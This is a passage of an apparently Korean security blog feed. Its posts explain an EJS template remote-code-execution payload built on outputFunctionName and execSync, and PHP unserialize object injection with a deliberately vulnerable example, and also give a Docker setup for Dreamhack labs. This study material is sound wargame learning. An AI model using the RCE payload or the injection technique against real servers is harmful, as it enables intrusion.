&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JAeN2/btsNTPXpuW3/WiXkwuNOdjp0iJxNK7iEkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JAeN2/btsNTPXpuW3/WiXkwuNOdjp0iJxNK7iEkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JAeN2/btsNTPXpuW3/WiXkwuNOdjp0iJxNK7iEkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJAeN2%2FbtsNTPXpuW3%2FWiXkwuNOdjp0iJxNK7iEkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;585&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해당 부분에서 취약점이 터져서, rce가 가능하게 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;prepended 변수에 js 코드를 선언한다음, opts.outputFunctionName이 존재한다면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;prepended에 있는 js 코드를 opts.outputFunctionName으로 덮어쓴다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 되면, 결과적으로 RCE가 터지게 되는 것이다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이때, opts변수는 settings['view options']의 값을 가져오게 되기에 위에서 우리가 원하는 코드를 삽입한다면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;원하는 흐름을 이끌어 낼 수 있게 되는 것이다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747034312261&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('실행할 명령어');s&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이와 같은 값을 대입하게 되면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;결과론적으로, prepended가 아래와 같이 변조되면서&lt;/p&gt;
&lt;pre id=&quot;code_1747034554229&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('실행할 명령어');s

-&amp;gt;
settings[view options][outputFunctionName]의 값인 x가 넘어감

var x;
process.mainModule.~~~;
s = __append;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;내가 원하는 흐름을 이끌 수 있게 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;3.1.7 부터는 outputFunctionName에 대한 패치가 진행되어서, 다른 함수를 찾아야한다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byNdJw/btsNUIwuOLW/EIVM5SXhiSzKJz0fXf1kY0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byNdJw/btsNUIwuOLW/EIVM5SXhiSzKJz0fXf1kY0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byNdJw/btsNUIwuOLW/EIVM5SXhiSzKJz0fXf1kY0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyNdJw%2FbtsNUIwuOLW%2FEIVM5SXhiSzKJz0fXf1kY0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;297&quot; height=&quot;297&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1831&quot; data-origin-height=&quot;597&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rb0Up/btsNS84cNxD/f4r8Cziq2sOpkcktxqXsU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rb0Up/btsNS84cNxD/f4r8Cziq2sOpkcktxqXsU1/img.png&quot; data-alt=&quot;(좌) 3.1.6 (우) 3.1.8&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rb0Up/btsNS84cNxD/f4r8Cziq2sOpkcktxqXsU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRb0Up%2FbtsNS84cNxD%2Ff4r8Cziq2sOpkcktxqXsU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1831&quot; height=&quot;597&quot; data-origin-width=&quot;1831&quot; data-origin-height=&quot;597&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(좌) 3.1.6 (우) 3.1.8&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q8HlN/btsNSJ4Z1IT/bD9RCr5MCfADf57gTgQEs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q8HlN/btsNSJ4Z1IT/bD9RCr5MCfADf57gTgQEs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q8HlN/btsNSJ4Z1IT/bD9RCr5MCfADf57gTgQEs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq8HlN%2FbtsNSJ4Z1IT%2FbD9RCr5MCfADf57gTgQEs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;255&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들면,, opts를 사용하는 이런애들은 여전히 가능하다는 것&lt;/p&gt;</description>
      <category>이것저것/WEB</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/238</guid>
      <comments>https://dor1m4n.tistory.com/238#entry238comment</comments>
      <pubDate>Mon, 12 May 2025 16:31:10 +0900</pubDate>
    </item>
    <item>
      <title>php deserialize 취약점 분석</title>
      <link>https://dor1m4n.tistory.com/233</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;요즘 워게임 문제들을 풀다보면 php deserialize (역직렬화)에 관한 문제가 많다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;근데, 아직 나는 이 취약점에 대해 자세히 알 지 못하니까, 이에 대해 한번 써보고자 함&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;624&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bat5U0/btsNKyvwAWG/MKiv3bARzUzjyetKcmu89k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bat5U0/btsNKyvwAWG/MKiv3bARzUzjyetKcmu89k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bat5U0/btsNKyvwAWG/MKiv3bARzUzjyetKcmu89k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbat5U0%2FbtsNKyvwAWG%2FMKiv3bARzUzjyetKcmu89k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;311&quot; height=&quot;323&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;624&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;PHP Deserialize 취약점&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt; magic method&lt;/span&gt;&lt;/b&gt;를 이용할 때, 발생하는 취약점&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Magic Method?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;php에서는 magic method를 이용해서, 없는 method를 호출하고 처리하는 것이 가능&lt;br /&gt;
&lt;pre id=&quot;code_1746590628369&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class A
{
}

$a = new A();
$a-&amp;gt;foo();​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;foo() 라는 함수가 없으므로, undefined method A::foo()가 발생&lt;br /&gt;&lt;br /&gt;그러나,&lt;/p&gt;
&lt;pre id=&quot;code_1746590696829&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class A {
	Public function __call($name, $args){
    	echo &quot;$name $args[0]&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;__call&quot;과 같은 magic method 사용 시, $a-&amp;gt;foo()에서 foo를 정의하지 않았음에도 foo 함수가 사용된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;PHP Deserialize 취약점 살펴보기&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1746590889342&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(object.php)
&amp;lt;?php
    class test{
        public $id='admin';
        public function __destruct() {
            echo 'userid:'.$this-&amp;gt;id. '&amp;lt;br/&amp;gt;';
        }
    }
?&amp;gt;


####################################################

(index.php)

&amp;lt;?php
	include 'object.php';	
    	
	$obj = new test();
	unserialize($_GET['input']);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;object.php : test라는 객체에 id가 admin으로 저장되어있음. echo를 통해 현재 인스턴스를 출력&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;index.php : object.php를 inclue하는데 input이라는 파라미터를 통해 값을 불러옴. 그러나 여기서 unserialize 수행됨.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(1) 아무런 값 없이 전달 시 admin 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;730&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB3cws/btsNNFMXvUG/1KPYaK2jJG4HC5pCCr2y21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB3cws/btsNNFMXvUG/1KPYaK2jJG4HC5pCCr2y21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB3cws/btsNNFMXvUG/1KPYaK2jJG4HC5pCCr2y21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB3cws%2FbtsNNFMXvUG%2F1KPYaK2jJG4HC5pCCr2y21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;317&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;730&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(2) 파일 역직렬화를 통해 id를 변조하여 전달&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;O:4:&quot;test&quot;:1:{s:2:&quot;id&quot;;s:4:&quot;test&quot;;}&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;730&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BRp4O/btsNLn8liQW/pFE7YV0dgtAZx8nU0HWBGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BRp4O/btsNLn8liQW/pFE7YV0dgtAZx8nU0HWBGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BRp4O/btsNLn8liQW/pFE7YV0dgtAZx8nU0HWBGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBRp4O%2FbtsNLn8liQW%2FpFE7YV0dgtAZx8nU0HWBGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;317&quot; data-origin-width=&quot;1430&quot; data-origin-height=&quot;730&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;위의 페이로드는 다음과 같음&lt;/p&gt;
&lt;pre id=&quot;code_1746591577313&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O        Object
4        Object length ( test -&amp;gt; 4 )
test     class name 
1        object size ( 파라미터 3개 -&amp;gt; 3, 파라미터 1개 -&amp;gt; 1 )
s        string
2        string length
id       string name ( test 클래스의 id 변수 ) 
s        string
test     string name
##########################################################
위의 양식 중 하나라도 틀리면, 작동하지 않으므로 유의해야함&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;어떻게 보면 정말 쉬운 개념인데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;막상 ctf에서 문제로 마주치면 좀 당황스러움&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;  노력부족이지 뭐&lt;/p&gt;</description>
      <category>이것저것/WEB</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/233</guid>
      <comments>https://dor1m4n.tistory.com/233#entry233comment</comments>
      <pubDate>Wed, 7 May 2025 13:22:04 +0900</pubDate>
    </item>
    <item>
      <title>writeup 패스워드는 원칙적으로 비공개입니다</title>
      <link>https://dor1m4n.tistory.com/notice/219</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;방향성이나 힌트가 필요하시다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;_dor1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디코 DM 주세요~&lt;/p&gt;</description>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/notice/219</guid>
      <pubDate>Thu, 10 Apr 2025 09:39:48 +0900</pubDate>
    </item>
    <item>
      <title>DOCKER를 이용하여, DREAMHACK 환경구성하기</title>
      <link>https://dor1m4n.tistory.com/212</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ PC 환경&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macbook m1 pro - ubuntu&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Distributor&amp;nbsp;ID: Ubuntu&lt;br /&gt;Description: Ubuntu&amp;nbsp;24.04.1&amp;nbsp;LTS&lt;br /&gt;Release: 24.04&lt;br /&gt;Codename: noble&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ Dockerfile이 있는 디렉터리에서 terminal 실행&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uBTET/btsNb8CynEn/DQk6s5K6MYk7KtPtvoA5i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uBTET/btsNb8CynEn/DQk6s5K6MYk7KtPtvoA5i0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uBTET/btsNb8CynEn/DQk6s5K6MYk7KtPtvoA5i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuBTET%2FbtsNb8CynEn%2FDQk6s5K6MYk7KtPtvoA5i0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;150&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ Docker을 통해 이미지 생성&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1743999920243&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker build -t [image_name] .&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;❗&lt;b&gt;Docker image 빌드 중, 아래와 같은 에러 발생 시 대처 방법&lt;/b&gt; &lt;br /&gt;
&lt;pre id=&quot;code_1744000140379&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;=&amp;gt; =&amp;gt; # WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=No
=&amp;gt; =&amp;gt; # ne, status=None)) after connection broken by 'NewConnectionError('&amp;lt;pip
=&amp;gt; =&amp;gt; # ._vendor.urllib3.connection.HTTPSConnection object at 0xf20ef1b7d730&amp;gt;:
=&amp;gt; =&amp;gt; # Failed to establish a new connection: [Errno -3] Temporary failure in
=&amp;gt; =&amp;gt; # name resolution')': /simple/flask/​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
인터넷 연결이 제대로 되지 않아, 생기는 오류로 보임&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JRr0f/btsNa2Dln0j/qlbsKnVQAixIm1Ks83hue0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JRr0f/btsNa2Dln0j/qlbsKnVQAixIm1Ks83hue0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JRr0f/btsNa2Dln0j/qlbsKnVQAixIm1Ks83hue0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJRr0f%2FbtsNa2Dln0j%2FqlbsKnVQAixIm1Ks83hue0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;382&quot; height=&quot;125&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
위와 같이, dns 설정해주는 파일 만들어주고 &lt;b&gt;systemctl restart docker&lt;/b&gt; 를 통해, docker 재시작 후 이미지 빌드 다시 시도&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ 이미지 빌드 된 거 확인하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpCWaX/btsNagCkRHZ/aorwrCjGNJnsNkU2FLU8m0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpCWaX/btsNagCkRHZ/aorwrCjGNJnsNkU2FLU8m0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpCWaX/btsNagCkRHZ/aorwrCjGNJnsNkU2FLU8m0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpCWaX%2FbtsNagCkRHZ%2FaorwrCjGNJnsNkU2FLU8m0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;575&quot; height=&quot;64&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ 이미지 빌드 후, 컨테이너 얹기&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1744000186467&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -d -p 5000:5000 --name [container_name] [image_name]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;44&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qeyO9/btsNb2JdvtY/f6PuZgBdKRYHCBZ2boacSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qeyO9/btsNb2JdvtY/f6PuZgBdKRYHCBZ2boacSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qeyO9/btsNb2JdvtY/f6PuZgBdKRYHCBZ2boacSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqeyO9%2FbtsNb2JdvtY%2Ff6PuZgBdKRYHCBZ2boacSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;44&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;44&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
